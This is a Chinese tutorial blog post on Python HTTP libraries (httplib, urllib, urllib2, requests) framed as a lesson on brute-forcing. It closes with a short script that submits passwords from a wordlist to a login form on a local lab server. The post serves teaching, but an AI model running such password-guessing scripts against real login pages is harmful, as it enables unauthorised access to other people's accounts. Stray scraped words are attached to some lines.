第一節公開課之暴力破解

 

Httplib:php

httplib是一個相對底層的http請求模塊,其上有專門的包裝模塊,如urllib內建模塊,goto等第三方模塊,可是封裝的越高就越不靈活,好比urllib模塊裏請求錯誤時就不會返回結果頁的內容,只有頭信息,對於某些須要檢測錯誤請求返回值的場景就不適用,因此就得用這個模塊了。css

 

httplib 實現get請求html

我在本地創建一個測試環境,test.php的內容就是輸出一句話:python

1
echo 'this is victor' ;

python發送get請求代碼:git

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
#coding=utf8
 
import httplib
 
httpClient  = None
 
try :
     httpClient  = httplib.HTTPConnection( 'localhost' 80 , timeout = 30 )
     httpClient.request( 'GET' '/test.php' )
 
     #response是HTTPResponse對象
     response  = httpClient.getresponse()
     print response.status
     print response.reason
     print response.read()
except Exception, e:
     print e
finally :
     if httpClient:
         httpClient.close()

 

Httplib2:github

1.支持HTTP和HTTPS,固然在這裏和httplib是同樣的。web

二者的文檔都這樣指出「Note HTTPS support is only available if the socket module was compiled with SSL support.」json

是的,要依賴於編譯選項api

 

2.支持HTTP 1.1的 Keep-Alive特性,可以在同一個socket鏈接裏使用併發的httprequest.瀏覽器

3.支持受權

support following :

-Basic

-Digest

-WSSE

-HMAC Digest

-Google Account Authentication

固然我以爲Basic和Digest就OK了,若是以爲保密性不夠,那最好用HTTPS,這個防火牆也沒法根據內容過濾。最近報道說HTTPS也被破解了。不知是怎麼破解的?=,=

4.支持Cache

是的,緩存是不少機制都必有的功能,若是http的庫沒有包含http自己支持的緩存就太惋惜了。

以下就能獲取帶有緩存的HTTP對象h,緩存則存儲在當前環境的「.cache"目錄下,夠簡單吧:)

import httplib2
h = httplib2.Http(".cache")

5.提供全部HTTP支持的方法,不僅是GET和POST,還包括DELETE,CONNECT

6.自動經過」GET「方法,重定向3XX返回值

7.支持deflate和gzip兩種資源壓縮格式

import httplib2  
#獲取HTTP對象  
h = httplib2.Http()  
#發出同步請求,並獲取內容  
resp, content = h.request("http://www.soso.com/")  
print resp  
print content

 

urllib:

1.urllib.urlopen(url[,data[,proxies]])

打開一個url的方法,返回一個文件對象,而後能夠進行相似文件對象的操做。本例試着打開google

>>> import urllib
>>> f = urllib.urlopen('http://www.google.com.hk/')
>>> firstLine = f.readline()   #讀取html頁面的第一行
>>> firstLine
'<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage"><head><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){\n'

  

urlopen返回對象提供方法:

-         read() , readline() ,readlines() , fileno() , close() :這些方法的使用方式與文件對象徹底同樣

-         info():返回一個httplib.HTTPMessage對象,表示遠程服務器返回的頭信息

-         getcode():返回Http狀態碼。若是是http請求,200請求成功完成;404網址未找到

-         geturl():返回請求的url

2.urllib.urlretrieve(url[,filename[,reporthook[,data]]])

urlretrieve方法將url定位到的html文件下載到你本地的硬盤中。若是不指定filename,則會存爲臨時文件。

urlretrieve()返回一個二元組(filename,mine_hdrs)

臨時存放:

>>> filename = urllib.urlretrieve('http://www.google.com.hk/')
>>> type(filename)
<type 'tuple'>
>>> filename[0]
'/tmp/tmp8eVLjq'
>>> filename[1]
<httplib.HTTPMessage instance at 0xb6a363ec>

 存爲本地文件:

>>> filename = urllib.urlretrieve('http://www.google.com.hk/',filename='/home/dzhwen/python文件/Homework/urllib/google.html')
>>> type(filename)
<type 'tuple'>
>>> filename[0]
'/home/dzhwen/python\xe6\x96\x87\xe4\xbb\xb6/Homework/urllib/google.html'
>>> filename[1]
<httplib.HTTPMessage instance at 0xb6e2c38c>

  

3.urllib.urlcleanup()

清除因爲urllib.urlretrieve()所產生的緩存

4.urllib.quote(url)和urllib.quote_plus(url)

將url數據獲取以後,並將其編碼,從而適用與URL字符串中,使其能被打印和被web服務器接受。

>>> urllib.quote('http://www.baidu.com')
'http%3A//www.baidu.com'
>>> urllib.quote_plus('http://www.baidu.com')
'http%3A%2F%2Fwww.baidu.com'

  

5.urllib.unquote(url)和urllib.unquote_plus(url)

與4的函數相反。

6.urllib.urlencode(query)

將URL中的鍵值對以鏈接符&劃分

這裏能夠與urlopen結合以實現post方法和get方法:

GET方法:

>>> import urllib
>>> params=urllib.urlencode({'spam':1,'eggs':2,'bacon':0})
>>> params
'eggs=2&bacon=0&spam=1'
>>> f=urllib.urlopen("http://python.org/query?%s" % params)
>>> print f.read()

POST方法:

>>> import urllib
>>> parmas = urllib.urlencode({'spam':1,'eggs':2,'bacon':0})
>>> f=urllib.urlopen("http://python.org/query",parmas)
>>> f.read()

  基本就這些,關於對象獲取的方法就不贅述了。

urllib2:

urllib2是Python的一個獲取URLs(Uniform Resource Locators)的組件。他以urlopen函數的形式提供了一個很是簡單的接口,

這是具備利用不一樣協議獲取URLs的能力,他一樣提供了一個比較複雜的接口來處理通常狀況,例如:基礎驗證,cookies,代理和其餘。

它們經過handlers和openers的對象提供。

urllib2支持獲取不一樣格式的URLs(在URL的":"前定義的字串,例如:"ftp"是"ftp:python.ort/"的前綴),它們利用它們相關網絡協議(例如FTP,HTTP)

進行獲取。這篇教程關注最普遍的應用--HTTP。

對於簡單的應用,urlopen是很是容易使用的。但當你在打開HTTP的URLs時遇到錯誤或異常,你將須要一些超文本傳輸協議(HTTP)的理解。

最權威的HTTP文檔固然是RFC 2616(http://rfc.net/rfc2616.html)。這是一個技術文檔,因此並不易於閱讀。這篇HOWTO教程的目的是展示如何使用urllib2,

並提供足夠的HTTP細節來幫助你理解。他並非urllib2的文檔說明,而是起一個輔助做用。

獲取 URLs

最簡單的使用urllib2將以下所示

import urllib2 
response = urllib2.urlopen('http://python.org/') 
html = response.read()

  

urllib2的不少應用就是那麼簡單(記住,除了"http:",URL一樣可使用"ftp:","file:"等等來替代)。但這篇文章是教授HTTP的更復雜的應用。

HTTP是基於請求和應答機制的--客戶端提出請求,服務端提供應答。urllib2用一個Request對象來映射你提出的HTTP請求,在它最簡單的使用形式中你將用你要請求的

地址建立一個Request對象,經過調用urlopen並傳入Request對象,將返回一個相關請求response對象,這個應答對象如同一個文件對象,因此你能夠在Response中調用.read()。

import urllib2 
req = urllib2.Request('http://www.python.com') 
response = urllib2.urlopen(req) 
the_page = response.read()

  

記得urllib2使用相同的接口處理全部的URL頭。例如你能夠像下面那樣建立一個ftp請求。

req = urllib2.Request('ftp://example.com/')

在HTTP請求時,容許你作額外的兩件事。首先是你可以發送data表單數據,其次你可以傳送額外的關於數據或發送自己的信息("metadata")到服務器,此數據做爲HTTP的"headers"來發送。

接下來讓咱們看看這些如何發送的吧。

Data數據

有時候你但願發送一些數據到URL(一般URL與CGI[通用網關接口]腳本,或其餘WEB應用程序掛接)。在HTTP中,這個常用熟知的POST請求發送。這個一般在你提交一個HTML表單時由你的瀏覽器來作。

並非全部的POSTs都來源於表單,你可以使用POST提交任意的數據到你本身的程序。通常的HTML表單,data須要編碼成標準形式。而後作爲data參數傳到Request對象。編碼工做使用urllib的函數而非urllib2。

import urllib 
import urllib2 
url = 'http://www.python.com' 
values = {'name' : 'Michael Foord', 
          'location' : 'python', 
          'language' : 'Python' } 
data = urllib.urlencode(values) 
req = urllib2.Request(url, data) 
response = urllib2.urlopen(req) 
the_page = response.read()

記住有時須要別的編碼(例如從HTML上傳文件--看http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13 HTML Specification, Form Submission的詳細說明)。

如ugoni沒有傳送data參數,urllib2使用GET方式的請求。GET和POST請求的不一樣之處是POST請求一般有"反作用",它們會因爲某種途徑改變系統狀態(例如提交成堆垃圾到你的門口)。

儘管HTTP標準說的很清楚POSTs一般會產生反作用,GET請求不會產生反作用,但沒有什麼能夠阻止GET請求產生反作用,一樣POST請求也可能不產生反作用。Data一樣能夠經過在Get請求

的URL自己上面編碼來傳送。

可看以下例子

>>> import urllib2 
>>> import urllib 
>>> data = {} 
>>> data['name'] = 'Somebody Here' 
>>> data['location'] = 'python' 
>>> data['language'] = 'Python' 
>>> url_values = urllib.urlencode(data) 
>>> print url_values 
name=blueelwang+Here&language=Python&location=python 
>>> url = 'http://www.python.com' 
>>> full_url = url + '?' + url_values 
>>> data = urllib2.open(full_url)

  

Headers

咱們將在這裏討論特定的HTTP頭,來講明怎樣添加headers到你的HTTP請求。

 

有一些站點不喜歡被程序(非人爲訪問)訪問,或者發送不一樣版本的內容到不一樣的瀏覽器。默認的urllib2把本身做爲「Python-urllib/x.y」(x和y是Python主版本和次版本號,例如Python-urllib/2.5),

這個身份可能會讓站點迷惑,或者乾脆不工做。瀏覽器確認本身身份是經過User-Agent頭,當你建立了一個請求對象,你能夠給他一個包含頭數據的字典。下面的例子發送跟上面同樣的內容,但把自身

模擬成Internet Explorer。

import urllib 
import urllib2 
url = 'http://www.python.com' 
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 
  
values = {'name' : 'Michael Foord', 
          'location' : 'python', 
          'language' : 'Python' } 
headers = { 'User-Agent' : user_agent } 
data = urllib.urlencode(values) 
req = urllib2.Request(url, data, headers) 
response = urllib2.urlopen(req) 
the_page = response.read()

  

response應答對象一樣有兩個頗有用的方法。看下面的節info and geturl,咱們將看到當發生錯誤時會發生什麼。

Handle Exceptions處理異常

當urlopen不可以處理一個response時,產生urlError(不過一般的Python APIs異常如ValueError,TypeError等也會同時產生)。

HTTPError是urlError的子類,一般在特定HTTP URLs中產生。

URLError

一般,URLError在沒有網絡鏈接(沒有路由到特定服務器),或者服務器不存在的狀況下產生。這種狀況下,異常一樣會帶有"reason"屬性,它是一個tuple,包含了一個錯誤號和一個錯誤信息。

例如

>>> req = urllib2.Request('http://www.python.com') 
>>> try: urllib2.urlopen(req) 
>>> except URLError, e: 
>>>    print e.reason 
>>>

  

(4, 'getaddrinfo failed') 

HTTPError

服務器上每個HTTP 應答對象response包含一個數字"狀態碼"。有時狀態碼指出服務器沒法完成請求。默認的處理器會爲你處理一部分這種應答(例如:假如response是一個"重定向",須要客戶端從別的地址獲取文檔

,urllib2將爲你處理)。其餘不能處理的,urlopen會產生一個HTTPError。典型的錯誤包含"404"(頁面沒法找到),"403"(請求禁止),和"401"(帶驗證請求)。

請看RFC 2616 第十節有全部的HTTP錯誤碼

HTTPError實例產生後會有一個整型'code'屬性,是服務器發送的相關錯誤號。

Error Codes錯誤碼

由於默認的處理器處理了重定向(300之外號碼),而且100-299範圍的號碼指示成功,因此你只能看到400-599的錯誤號碼。

BaseHTTPServer.BaseHTTPRequestHandler.response是一個頗有用的應答號碼字典,顯示了RFC 2616使用的全部的應答號。這裏爲了方便從新展現該字典。(譯者略)

當一個錯誤號產生後,服務器返回一個HTTP錯誤號,和一個錯誤頁面。你可使用HTTPError實例做爲頁面返回的應答對象response。這表示和錯誤屬性同樣,它一樣包含了read,geturl,和info方法。

>>> req = urllib2.Request('http://www.python.org/fish.html') 
>>> try: 
>>>     urllib2.urlopen(req) 
>>> except URLError, e: 
>>>     print e.code 
>>>     print e.read() 
>>>

404 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
    "http://www.w3.org/TR/html4/loose.dtd"> 
<?xml-stylesheet href="./css/ht2html.css" 
    type="text/css"?> 
<html><head><title>Error 404: File Not Found</title> 
...... etc...

  

Wrapping it Up包裝

因此若是你想爲HTTPError或URLError作準備,將有兩個基本的辦法。我則比較喜歡第二種。

第一個:

from urllib2 import Request, urlopen, URLError, HTTPError 
req = Request(someurl) 
try: 
    response = urlopen(req) 
except HTTPError, e: 
    print 'The server couldn/'t fulfill the request.' 
    print 'Error code: ', e.code 
except URLError, e: 
    print 'We failed to reach a server.' 
    print 'Reason: ', e.reason 
else: 
    # everything is fine

  

注意:except HTTPError 必須在第一個,不然except URLError將一樣接受到HTTPError。 

第二個:

from urllib2 import Request, urlopen, URLError 
req = Request(someurl) 
try: 
    response = urlopen(req) 
except URLError, e: 
    if hasattr(e, 'reason'): 
        print 'We failed to reach a server.' 
        print 'Reason: ', e.reason 
    elif hasattr(e, 'code'): 
        print 'The server couldn/'t fulfill the request.' 
        print 'Error code: ', e.code 
else: 
    # everything is fine

  

info and geturl

urlopen返回的應答對象response(或者HTTPError實例)有兩個頗有用的方法info()和geturl()

geturl -- 這個返回獲取的真實的URL,這個頗有用,由於urlopen(或者opener對象使用的)或許

會有重定向。獲取的URL或許跟請求URL不一樣。

info -- 這個返回對象的字典對象,該字典描述了獲取的頁面狀況。一般是服務器發送的特定頭headers。目前是httplib.HTTPMessage 實例。

經典的headers包含"Content-length","Content-type",和其餘。查看Quick Reference to HTTP Headers(http://www.cs.tut.fi/~jkorpela/http.html)

獲取有用的HTTP頭列表,以及它們的解釋意義。

Openers和Handlers

當你獲取一個URL你使用一個opener(一個urllib2.OpenerDirector的實例,urllib2.OpenerDirector可能名字可能有點讓人混淆。)正常狀況下,咱們

使用默認opener -- 經過urlopen,但你可以建立個性的openers,Openers使用處理器handlers,全部的「繁重」工做由handlers處理。每一個handlers知道

如何經過特定協議打開URLs,或者如何處理URL打開時的各個方面,例如HTTP重定向或者HTTP cookies。

若是你但願用特定處理器獲取URLs你會想建立一個openers,例如獲取一個能處理cookie的opener,或者獲取一個不重定向的opener。

要建立一個 opener,實例化一個OpenerDirector,而後調用不斷調用.add_handler(some_handler_instance).

一樣,可使用build_opener,這是一個更加方便的函數,用來建立opener對象,他只須要一次函數調用。

build_opener默認添加幾個處理器,但提供快捷的方法來添加或更新默認處理器。

其餘的處理器handlers你或許會但願處理代理,驗證,和其餘經常使用但有點特殊的狀況。

install_opener 用來建立(全局)默認opener。這個表示調用urlopen將使用你安裝的opener。

Opener對象有一個open方法,該方法能夠像urlopen函數那樣直接用來獲取urls:一般沒必要調用install_opener,除了爲了方便。

Basic Authentication 基本驗證

爲了展現建立和安裝一個handler,咱們將使用HTTPBasicAuthHandler,爲了更加細節的描述本主題--包含一個基礎驗證的工做原理。

請看Basic Authentication Tutorial(http://www.voidspace.org.uk/python/articles/authentication.shtml)

當須要基礎驗證時,服務器發送一個header(401錯誤碼) 請求驗證。這個指定了scheme 和一個‘realm’,看起來像這樣:Www-authenticate: SCHEME realm="REALM".

例如

Www-authenticate: Basic realm="cPanel Users"

客戶端必須使用新的請求,並在請求頭裏包含正確的姓名和密碼。這是「基礎驗證」,爲了簡化這個過程,咱們能夠建立一個HTTPBasicAuthHandler的實例,並讓opener使用這個

handler。

HTTPBasicAuthHandler使用一個密碼管理的對象來處理URLs和realms來映射用戶名和密碼。若是你知道realm(從服務器發送來的頭裏)是什麼,你就能使用HTTPPasswordMgr。

一般人們不關心realm是什麼。那樣的話,就能用方便的HTTPPasswordMgrWithDefaultRealm。這個將在你爲URL指定一個默認的用戶名和密碼。這將在你爲特定realm提供一個其餘組合時

獲得提供。咱們經過給realm參數指定None提供給add_password來指示這種狀況。

最高層次的URL是第一個要求驗證的URL。你傳給.add_password()更深層次的URLs將一樣合適。

# 建立一個密碼管理者 
password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() 
# 添加用戶名和密碼 
# 若是知道 realm, 咱們可使用他代替 ``None``. 
top_level_url = "http://example.com/foo/" 
password_mgr.add_password(None, top_level_url, username, password) 
handler = urllib2.HTTPBasicAuthHandler(password_mgr) 
# 建立 "opener" (OpenerDirector 實例) 
opener = urllib2.build_opener(handler) 
# 使用 opener 獲取一個URL 
opener.open(a_url) 
# 安裝 opener. 
# 如今全部調用 urllib2.urlopen 將用咱們的 opener. 
urllib2.install_opener(opener)

  

注意:以上的例子咱們僅僅提供咱們的HHTPBasicAuthHandler給build_opener。默認的openers有正常情況的handlers--ProxyHandler,UnknownHandler,HTTPHandler,HTTPDefaultErrorHandler, HTTPRedirectHandler, FTPHandler, FileHandler, HTTPErrorProcessor。

top_level_url 實際上能夠是完整URL(包含"http:",以及主機名及可選的端口號)例如:http://example.com/,也能夠是一個「authority」(即主機名和可選的

包含端口號)例如:「example.com」 or 「example.com:8080」(後者包含了端口號)。權限驗證,若是遞交的話不能包含"用戶信息"部分,例如:

「joe@password:example.com」是錯誤的。

Proxies代理urllib 將自動監測你的代理設置並使用他們。這個經過ProxyHandler這個在正常處理器鏈中的對象來處理。一般,那工做的很好。但有時不起做用

。其中一個方法即是安裝咱們本身的代理處理器ProxyHandler,並不定義代理。這個跟使用Basic Authentication 處理器很類似。

>>> proxy_support = urllib.request.ProxyHandler({}) 
>>> opener = urllib.request.build_opener(proxy_support) 
>>> urllib.request.install_opener(opener)

  

注意:

此時urllib.request不支持經過代理獲取https地址。但,這個能夠經過擴展urllib.request達到目的。

Sockets and Layers

Python支持獲取網絡資源是分層結構。urllib 使用http.client庫,再調用socket庫實現。

在Python2.3你能夠指定socket的等待迴應超時時間。這個在須要獲取網頁的應用程序裏頗有用。默認的socket模型沒有超時和掛起。如今,socket超時沒有暴露

給http.client或者urllib.request層。但你能夠給全部的sockets設置全局的超時。

 

requests:

Python標準庫中提供了:urllib、urllib二、httplib等模塊以供Http請求,可是,它的 API 太渣了。它是爲另外一個時代、另外一個互聯網所建立的。它須要巨量的工做,甚至包括各類方法覆蓋,來完成最簡單的任務。

 Requests 是使用 Apache2 Licensed 許可證的 基於Python開發的HTTP 庫,其在Python內置模塊的基礎上進行了高度的封裝,從而使得Pythoner進行網絡請求時,變得美好了許多,使用Requests能夠垂手可得的完成瀏覽器可有的任何操做。

一、GET請求

# 一、無參數實例
 
import requests
 
ret = requests.get('https://github.com/timeline.json')
 
print ret.url
print ret.text
 
 
 
# 二、有參數實例
 
import requests
 
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.get("http://httpbin.org/get", params=payload)
 
print ret.url
print ret.text

向 https://github.com/timeline.json 發送一個GET請求,將請求和響應相關均封裝在 ret 對象中。

二、POST請求

# 一、基本POST實例
 
import requests
 
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.post("http://httpbin.org/post", data=payload)
 
print ret.text
 
 
# 二、發送請求頭和數據實例
 
import requests
import json
 
url = 'https://api.github.com/some/endpoint'
payload = {'some': 'data'}
headers = {'content-type': 'application/json'}
 
ret = requests.post(url, data=json.dumps(payload), headers=headers)
 
print ret.text
print ret.cookies

向https://api.github.com/some/endpoint發送一個POST請求,將請求和相應相關的內容封裝在 ret 對象中。

 

 1 #!/usr/bin/python
 2 #-*-coding:utf-8-*-
 3 import base64
 4 import requests
 5 import sys
 6 import httplib,urllib;  #加載模塊
 7 
 8 def PassParse(username,password):
 9 #定義須要進行發送的數據
10     params = urllib.urlencode({     
11                                'username':username,
12                                'password':password,
13                                });     
14 #定義一些文件頭
15 #     auth = base64.b64encode('cleartext username' + ':'+ 'cleartext passwords')
16 #     headers = {"Authorization": "Basic" + auth}
17     headers = {"Content-Type":"application/x-www-form-urlencoded",      
18            "Connection":"Keep-Alive","Referer":"http://192.168.1.123:8080/login/",
19             "Accept-Language": "zh-CN",
20             "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)",
21             "Accept": "application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, */*",
22             "Accept-Encoding": "gzip, deflate",
23             "cookie":"JSESSIONID=2F3E4882AEA5E2A3F38A69B424AA07CC; jsoaUserName=victor"};     
24 #與網站構建一個鏈接    
25     conn = httplib.HTTPConnection("192.168.1.123","8080");    
26 #開始進行數據提交   同時也可使用get進行    
27     conn.request(method="POST",url="/login/",body=params,headers=headers);     
28     response = conn.getresponse();     
29 #判斷是否提交成功    
30     print '---', response.status
31     if response.status == 200:     
32         body = response.read()
33         print "succ!^_^!";
34         print "pass is : ",password
35     else:     
36         print "fail\^0^/";     
37 #關閉鏈接    
38     conn.close();  
39 
40 
41 def getPass():
42     fp = open('pass1.txt', 'r')
43     if fp == 0:
44         print "open file error!"
45         exit()
46     try:
47         fp_obj = fp.readlines()
48     except ValueError:
49         print "read file error!"
50     for line in fp_obj:
51         password = line.split()
52         PassParse("victor",password)
53         print password[0]
54 
55 if __name__ == '__main__':
56     getPass()
相關文章
相關標籤/搜索